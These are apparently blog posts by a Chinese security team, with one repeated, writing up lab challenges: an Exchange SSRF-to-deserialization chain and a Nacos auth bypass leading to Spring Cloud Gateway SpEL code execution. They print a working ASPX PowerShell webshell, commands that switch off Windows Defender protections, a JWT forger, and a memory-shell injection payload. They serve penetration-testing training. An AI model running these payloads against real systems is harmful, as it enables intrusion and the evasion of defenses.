7bits安全团队

记一次曲折的exchange漏洞利用-ProxyMaybeShell

Fri, 15 Sep 2023 09:10:00 +0800

原创 7bits安全团队 2023-09-15 09:10 江苏

本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。目前配套环境已上线7BitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。

记一次曲折的exchange漏洞利用-ProxyMaybeShell

这两年几乎每隔一段时间exchange都会出现一些高危漏洞，这些漏洞基本分为两类，一类是ssrf导致的安全问题，一类是后台的反序列化漏洞。比较出名的包括CVE-2021-34473(ProxyShell)、CVE-2022-41040(ProxyNotShell)等。本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。

目前配套环境已上线xBitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。

前置知识

Exchange-SSRF导致的问题

host可控的SSRF

CVE-2018-8581

ssrf导致读取任意用户邮件

https://evi1cg.me/archives/CVE_2018_8581.html

ssrf结合ntlmralay直接攻击dc

https://evi1cg.me/archives/Exchange_Privilege_Elevation.html

host不可控的SSRF

proxylogon:

https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html

proxyshell:

https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html

proxynotshell:

https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/

exchange反序列化漏洞

cve-2020-0688 machinekey反序列化:

https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

CVE-2021-42321:

DotNet安全-CVE-2021-42321漏洞复现

CVE-2022-23277:

DotNet安全-CVE-2022-23277漏洞复现

从proxyshell入手

访问目标https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境

经过探测目标仅开放了autodiscover/ews/powershell/mapi等接口，没有owa/ecp等图形界面。

直接盲打一发proxyshell，成功执行了部分流程。

获取内网域名版本号等信息

通过autodiscover接口的ntlm认证信息获取内网域名等信息：

获取Administrator用户的DN

通过ssrf调用autodiscover接口，获取administrator用户的dn，发现无法获取：

这里获取dn是为了获取邮件管理员的sid，但这个环境并不存在Administrator用户。

获取内置用户的dn

安装了exchange的域会包含几个内置账户，可以尝试获取他们的dn：

BUILTIN_EMAILS = [
    'Administrator',
    'SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}',
    'DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}'
    'FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042',
    'Migration.8f3e7716-2011-43e4-96b1-aba62d229136',
    'SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}',
    'SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}',
    'SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}'
]

但在这个环境中，这种方法也不适用：

https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py 提出一种方法，使用ews接口的功能获取到邮箱列表，默认情况下会获得列表：

实战情况也可能遇到无法获取的情况，我们可以通过外网搜集到所有的邮箱进行爆破直至得到dn，但实际环境中，很多邮箱位于Office365服务器上，无法通过autodiscover接口获取dn。通过邮箱获取到dn：

获取sid

这个mapi接口从CVE-2018-8581就已经被利用，当有账户dn的时候可以获取到sid：

伪造powershell接口token

powershell接口的判断用户身份是依赖于X-Rps-CAT参数，主要通过里面包含的sid判断身份：

我们可以构造这个X-Rps-CAT参数：

调用powershell执行

主要依赖于pypsrp库调用powershell执行New-MailboxExportRequest命令。该命令将某一邮件导出，这份邮件的附件由我们精心构造，其附件中包含我们的c#代码。构造成功的邮件导出到web目录后不影响正常解析。

同时我们可以通过ews接口给某个邮箱的草稿箱发包含恶意附件的邮件：

导出邮件

直接使用exp，会报错，发现无法写入文件：

抓包看响应发现没有导出邮件相关的命令，疑似这个账户的权限不够：

遍历sid

尝试proxyshell-enumerate返回的邮箱，发现都没有成功执行。推测可能是返回的邮箱不全，既然一系列操作都是为了获取一个sid，我们直接对sid进行遍历即可。

我们通过前面的操作获取到域sid前缀为：S-1-5-21-3005828558-642831567-1133831210，默认administrator的sid是500，之后新增的用户应该在1000以上，我们可以修改一下exp使其支持根据sid调用powershell：https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxyshellwithsid.py

发现Administrator用户的权限确实很低：

我们可以遍历sid直至找到支持New-MailboxExportRequest的账户，但在这个环境一系列尝试后无果。使用getmailbox获取到的所有账户也没有高权限的：

实战环境中也可能遇到这样的exchange环境，实际邮箱都在云端office365上，本地并没有被频繁使用。导出邮件需要用户为exchange管理员，在域中为organization managemen组成员，极端的情况下会出现organization management组为空的情况。

SSRF2RCE

针对这种环境，proxyshell是没法利用了。但存在的ssrf还是可以使用的，我们可以通过ssrf调用ews获取用户邮箱的邮件进行进一步的信息搜集，主要参考：https://evi1cg.me/archives/CVE_2018_8581.html。

尝试读取后也没有发现值得留意的信息，这时候想到exchange还有很多认证后的反序列化漏洞，我们是否可以借助这个ssrf绕过认证再调用后台的反序列化漏洞呢。

通过响应包，我们发现该exchange版本为15.02.0721.002，版本比较老旧，不受CVE-2021–42321,CVE-2022-23277等漏洞影响，相比较之下比较新的漏洞ProxyNotShell影响范围更广一些，poc为https://github.com/testanull/ProxyNotShell-PoC。

原始脚本直接使用账户密码认证，再利用反序列化漏洞进行攻击，这里我们需要修改成使用ssrf漏洞结合X-Rps-CAT绕过认证的形式：

其中X-Rps-CAT我们可以使用proxyshellwithsid.py这个脚本获取：

ReSSRF

填入https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellcmd.py这个脚本后进行rce，这里遇到一个命令执行没回显的经典问题。目标是肯定不出网的，包括dns。只能写入文件，但该环境无法访问常规的exchange放webshell的目录，如owa/ecp/aspnet_client等。而autodiscover等目录虽然可以访问，但需要凭据。联系前面的内容我们很容易想到通过ssrf绕过autodiscover的认证，简单写一个探测脚本：

import requests
 
base_url="https://10.0.102.210"
original_url="autodiscover/1.txt"
headers={}
cookies={}
 
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
cookies["Email"] = "autodiscover/autodiscover.json?a=ictbv@pshke.pov"
url = base_url + "/autodiscover/autodiscover.json?a=ictbv@pshke.pov/%s" % original_url
r=requests.get(url,headers=headers,cookies=cookies,verify=False)
print(r.text)

可以借助ssrf绕过认证访问到autodiscover目录下的资源了，进行进一步利用：多次尝试后发现无法成功写入。尝试了多个可能问题，包括命令的转义等情况，最后得出结论可能是被目标杀软拦截了。

反序列化利用写文件

之前在很多场景下遇到了限制w3wp.exe调用cmd的情况，之前也介绍过TypeConfuse的写文件，这次使用ResourceDictionary写文件，主要可以参考头像哥的文章https://www.t00ls.com/articles-55183.html#tls3，需要注意转义，路径带空格等问题：

修改poc后写入使用https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：

bypass windows definder ATP

更换多个shell后发现列目录等文件操作没问题

但执行命令就会被拒绝，查看目录可以发现存在较新的windows definder atp，使用https://github.com/ThePacketBender/webshells/blob/master/POWERshell.aspx可以通过调用c# powershell相关的dll绕过definder部分限制。在这个漏洞利用的情境下使用控件表单的webshell非常麻烦，稍微修改一下webshell：

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.ObjectModel"%>
<%@ Import Namespace="System.Management.Automation"%>
<%@ Import Namespace="System.Management.Automation.Runspaces"%>
<%@ Assembly Name="System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35"%>
 

 
"c#" runat="server">
 
    private static string powershelled(string scriptText)
    {
        try
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
 
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(scriptText);
            pipeline.Commands.Add("Out-String");
 
            Collection results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
                stringBuilder.AppendLine(obj.ToString());
 
            return stringBuilder.ToString();
        }catch(Exception exception)
        {
            return string.Format("Error: {0}", exception.Message);
        }
    }
    
    protected void Page_Load(object sender, EventArgs e)
    {
       Response.Write(powershelled(Request.Params["cmd"]));
    }

可以执行部分powershell命令：

启动敏感进程依旧被拦截：

通过c#调用powershell相关dll可以实现绕过ATP执行部分命令，但这样还不足够。我们可以使用powersell关闭definder的一些功能：

# Disables realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
# Disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true
# Disable behaviour monitoring
Set-MPPreference -DisableBehaviourMonitoring $true
# Make exclusion for a certain folder
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
# Disables cloud detection
Set-MPPreference -DisableBlockAtFirstSeen $true
# Disables scanning of .pst and other email formats
Set-MPPreference -DisableEmailScanning $true
# Disables script scanning during malware scans
Set-MPPReference -DisableScriptScanning $true
# Exclude files by extension
Set-MpPreference -ExclusionExtension "ps1"
# Turn off everything and set exclusion to "C:\Windows\Temp"
Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIOAVProtection $true;Set-MPPreference -DisableBehaviorMonitoring $true;Set-MPPreference -DisableBlockAtFirstSeen $true;Set-MPPreference -DisableEmailScanning $true;Set-MPPReference -DisableScriptScanning $true;Set-MpPreference -DisableIOAVProtection $true;Add-MpPreference -ExclusionPath "C:\Windows\Temp"

对于ATP的绕过手段有很多种，笔者一般使用三种办法：

使用c#调用winrm，实现winrm进程启动cmd.exe而不是w3wp进程启动cmd.exe。可以继承当前shell上下文的权限，但只能是管理员调用(域内机器)。适用于exch这种system启动的shell或有域身份的shell。winrm相关库：http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll
c#调用powershell的反射类型，即上面提到的webshell：https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/ https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok
使用c#实现接下来需要的完整功能，如导出ldap，dumplsass，甚至包括直接进行dcsync操作。在之前的文章《记一次团队内部的红蓝对抗-攻击篇》中我们曾经使用c#导出过spn。

经过一系列操作后，我们获取到了本地administrator用户的hash，横向移动后在dc获取到了flag。

环境获取

本挑战为xbitsplatform公开环境，师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。

知识星球

团队其他文章

记一次对微服务架构的渗透测试

域渗透-How2MoveLaterally

域渗透-How2UseLdap

域渗透-How2PwnACLs

了解更多关于xbitsplatform的信息：

xBitsPlatform公测版正式上线啦
 xBitsPlatform使用说明

阅读原文

跳转微信打开

记一次曲折的exchange漏洞利用-ProxyMaybeShell

Thu, 14 Sep 2023 22:53:00 +0800

原创 7bits安全团队 2023-09-14 22:53 江苏

记一次曲折的exchange漏洞利用-ProxyMaybeShell

目前配套环境已上线xBitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。

前置知识

Exchange-SSRF导致的问题

host可控的SSRF

CVE-2018-8581

ssrf导致读取任意用户邮件

https://evi1cg.me/archives/CVE_2018_8581.html

ssrf结合ntlmralay直接攻击dc

https://evi1cg.me/archives/Exchange_Privilege_Elevation.html

host不可控的SSRF

proxylogon:

https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html

proxyshell:

https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html

proxynotshell:

https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/

exchange反序列化漏洞

cve-2020-0688 machinekey反序列化:

https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

CVE-2021-42321:

DotNet安全-CVE-2021-42321漏洞复现

CVE-2022-23277:

DotNet安全-CVE-2022-23277漏洞复现

从proxyshell入手

访问目标https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境

经过探测目标仅开放了autodiscover/ews/powershell/mapi等接口，没有owa/ecp等图形界面。

直接盲打一发proxyshell，成功执行了部分流程。

获取内网域名版本号等信息

通过autodiscover接口的ntlm认证信息获取内网域名等信息：

获取Administrator用户的DN

通过ssrf调用autodiscover接口，获取administrator用户的dn，发现无法获取：

这里获取dn是为了获取邮件管理员的sid，但这个环境并不存在Administrator用户。

获取内置用户的dn

安装了exchange的域会包含几个内置账户，可以尝试获取他们的dn：

BUILTIN_EMAILS = [
    'Administrator',
    'SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}',
    'DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}'
    'FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042',
    'Migration.8f3e7716-2011-43e4-96b1-aba62d229136',
    'SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}',
    'SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}',
    'SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}'
]

但在这个环境中，这种方法也不适用：

https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py 提出一种方法，使用ews接口的功能获取到邮箱列表，默认情况下会获得列表：

获取sid

这个mapi接口从CVE-2018-8581就已经被利用，当有账户dn的时候可以获取到sid：

伪造powershell接口token

powershell接口的判断用户身份是依赖于X-Rps-CAT参数，主要通过里面包含的sid判断身份：

我们可以构造这个X-Rps-CAT参数：

调用powershell执行

同时我们可以通过ews接口给某个邮箱的草稿箱发包含恶意附件的邮件：

导出邮件

直接使用exp，会报错，发现无法写入文件：

抓包看响应发现没有导出邮件相关的命令，疑似这个账户的权限不够：

遍历sid

发现Administrator用户的权限确实很低：

我们可以遍历sid直至找到支持New-MailboxExportRequest的账户，但在这个环境一系列尝试后无果。使用getmailbox获取到的所有账户也没有高权限的：

SSRF2RCE

原始脚本直接使用账户密码认证，再利用反序列化漏洞进行攻击，这里我们需要修改成使用ssrf漏洞结合X-Rps-CAT绕过认证的形式：

其中X-Rps-CAT我们可以使用proxyshellwithsid.py这个脚本获取：

ReSSRF

import requests
 
base_url="https://10.0.102.210"
original_url="autodiscover/1.txt"
headers={}
cookies={}
 
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
cookies["Email"] = "autodiscover/autodiscover.json?a=ictbv@pshke.pov"
url = base_url + "/autodiscover/autodiscover.json?a=ictbv@pshke.pov/%s" % original_url
r=requests.get(url,headers=headers,cookies=cookies,verify=False)
print(r.text)

反序列化利用写文件

修改poc后写入使用https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：

bypass windows definder ATP

更换多个shell后发现列目录等文件操作没问题

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.ObjectModel"%>
<%@ Import Namespace="System.Management.Automation"%>
<%@ Import Namespace="System.Management.Automation.Runspaces"%>
<%@ Assembly Name="System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35"%>
 

 
"c#" runat="server">
 
    private static string powershelled(string scriptText)
    {
        try
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
 
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(scriptText);
            pipeline.Commands.Add("Out-String");
 
            Collection results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
                stringBuilder.AppendLine(obj.ToString());
 
            return stringBuilder.ToString();
        }catch(Exception exception)
        {
            return string.Format("Error: {0}", exception.Message);
        }
    }
    
    protected void Page_Load(object sender, EventArgs e)
    {
       Response.Write(powershelled(Request.Params["cmd"]));
    }

可以执行部分powershell命令：

启动敏感进程依旧被拦截：

通过c#调用powershell相关dll可以实现绕过ATP执行部分命令，但这样还不足够。我们可以使用powersell关闭definder的一些功能：

# Disables realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
# Disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true
# Disable behaviour monitoring
Set-MPPreference -DisableBehaviourMonitoring $true
# Make exclusion for a certain folder
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
# Disables cloud detection
Set-MPPreference -DisableBlockAtFirstSeen $true
# Disables scanning of .pst and other email formats
Set-MPPreference -DisableEmailScanning $true
# Disables script scanning during malware scans
Set-MPPReference -DisableScriptScanning $true
# Exclude files by extension
Set-MpPreference -ExclusionExtension "ps1"
# Turn off everything and set exclusion to "C:\Windows\Temp"
Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIOAVProtection $true;Set-MPPreference -DisableBehaviorMonitoring $true;Set-MPPreference -DisableBlockAtFirstSeen $true;Set-MPPreference -DisableEmailScanning $true;Set-MPPReference -DisableScriptScanning $true;Set-MpPreference -DisableIOAVProtection $true;Add-MpPreference -ExclusionPath "C:\Windows\Temp"

对于ATP的绕过手段有很多种，笔者一般使用三种办法：

使用c#调用winrm，实现winrm进程启动cmd.exe而不是w3wp进程启动cmd.exe。可以继承当前shell上下文的权限，但只能是管理员调用(域内机器)。适用于exch这种system启动的shell或有域身份的shell。winrm相关库：http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll
c#调用powershell的反射类型，即上面提到的webshell：https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/ https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok
使用c#实现接下来需要的完整功能，如导出ldap，dumplsass，甚至包括直接进行dcsync操作。在之前的文章《记一次团队内部的红蓝对抗-攻击篇》中我们曾经使用c#导出过spn。

经过一系列操作后，我们获取到了本地administrator用户的hash，横向移动后在dc获取到了flag。

环境获取

本挑战为xbitsplatform公开环境，师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。

知识星球

团队其他文章

记一次对微服务架构的渗透测试

域渗透-How2MoveLaterally

域渗透-How2UseLdap

域渗透-How2PwnACLs

了解更多关于xbitsplatform的信息：

xBitsPlatform公测版正式上线啦
 xBitsPlatform使用说明

阅读原文

跳转微信打开

记一次对微服务架构的渗透测试

Wed, 19 Jul 2023 09:21:00 +0800

原创 7bits安全团队 2023-07-19 09:21 江苏

最近在一次渗透过程中遇到了微服务架构，对其进行了复现。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。

记一次对微服务架构的渗透测试

最近在一次渗透过程中遇到了微服务架构，打点进入之后在一个独立的docker中，该docker只负责某个单一的任务，如计划任务，订单操作等。之前对这种架构的渗透方法了解比较少，本文将记录这次渗透流程并在7BitsPlatform复现大致攻击路径。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。

NACOS认证绕过

前期通过docker中环境变量的信息搜集发现存在NACOS:

SPRING_CLOUD_NACOS_DISCOVERY_SERVERADDR   10.0.101.5:80

Nacos由阿里开发并开源，提供了一组简单易用的特性集，帮助用户快速实现动态服务发现、服务配置、服务元数据及流量管理。该系统主要用于集中配置微服务环境，内部可能存储一些内网数据库凭据等信息。

nacos最近出了认证绕过(QVD-2023-6271)和一个反序列化漏洞。反序列化漏洞主要是因为Hessian反序列化导致RCE，但只能打一次。不成功环境就坏了。先尝试认证绕过漏洞，主要是因为硬编码的key，使用该key生成jwt：

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;
import java.nio.charset.StandardCharsets;
import java.util.Date;
public class main {
    public static void main(String[] args) {
        System.out.println(createToken("nacos"));
    }
    public static String createToken(String userName) {
        String key = "";
        long now = System.currentTimeMillis();
        Date validity = new Date(now + 18000*1000L);
        Claims claims = Jwts.claims().setSubject(userName);
        return Jwts.builder().setClaims(claims).setExpiration(validity)
                .signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key))).compact();
    }
}

新增pom.xml使用maven编译：


http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    4.0.0
    org.example
    getjwt
    1.0-SNAPSHOT
    
        8
        8
    
    
        
            io.jsonwebtoken
            jjwt-api
            0.10.7
        
        
            io.jsonwebtoken
            jjwt-impl
            0.10.7
            runtime
        
        
            io.jsonwebtoken
            jjwt-jackson
            0.10.7
            runtime
        
    
    
        
            
                org.springframework.boot
                spring-boot-maven-plugin
                
                    
                        
                            repackage
                        
                    
                
            
            
                maven-compiler-plugin
                
                    1.8
                    1.8

生成key

成功绕过认证：

我们可以发现Nacos后台接口只依赖于get参数中的accesstoken。网上搜一搜基本就能得到所有的nacos接口了。可以通过用户相关接口加一个用户，通过界面更方便进行操作。

NACOS结合SpringCloudGateway

在Nacos中我们可以看到存在spring-cloud-gateway和spring-cloud-service这两个应用，查看spring-cloud-gateway的信息：

获取到服务的ip及端口，访问尝试并利用CVE-2022-22947，发现并不存在利用的端点：

其余和spring相关漏洞在没有开actuator接口的情况下也没有什么利用点，利用陷入僵局。此时发现一篇文章结合了nacos修改springboot配置文件的功能进而实现了rce：https://xz.aliyun.com/t/11493。

CVE-2022-22947漏洞原理简单来说就是通过/actuator/gateway/routes注册一个路由，注册路由的请求可以支持filters参数，可以新增一个filter，熟悉内存马的朋友肯定知道filter可以用于修饰响应或者请求，这里既然支持大概率可以造成代码执行，事实也是如此。后续通过通过spel进行任意代码执行，这个点是一个天然带回显的代码执行点。

借助nacos，我们不再需要/actuator/gateway/routes接口开放，可以直接通过修改yaml配置文件的方式，实现增加filters。我们新建一个测试yaml：

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://spring-cloud-service
          predicates:
            - Path=/echo/**
          filters:
            - name: AddResponseHeader
              args:
                name: result
                value: "7bits"

通过接口对原有配置文件进行修改:

发现成功触发filter，实现新增请求头的功能：

由于后端服务器不存在echo接口，所以返回503也是正常的。接下来就是在value的地方注入spel表达式

value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream()))}"

成功执行：

至此我们成功获取的CloudGateway的权限。

SpringCloudGateway持久化

通过漏洞执行命令始终不是长久之计，修改路由比较明显，我们可以通过spel对目标植入内存马，已经有比较成熟的开源项目https://github.com/0730Nophone/CVE-2022-22947-。内存马class主要来自https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java。

SpringCloudGateway实现内存马主要依赖requestMappingHandlerMapping的registerHandlerMethod方法注册控制器：

    public static String doInject(Object obj, String path) {
        String msg;
        try {
            md5 = md5(pass + xc);
            Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class);
            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();
            registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);
            msg = "ok";
        } catch (Exception e) {
            e.printStackTrace();
            msg = "error";
        }
        return msg;
    }

在spel中可以利用以下代码加载任意class：

"#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString(payload),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"}

使用完成的yaml注册路由：

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://spring-cloud-service
          predicates:
            - Path=/fuck/**
          filters:
            - name: AddResponseHeader
              args:
                name: result
                value: "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcH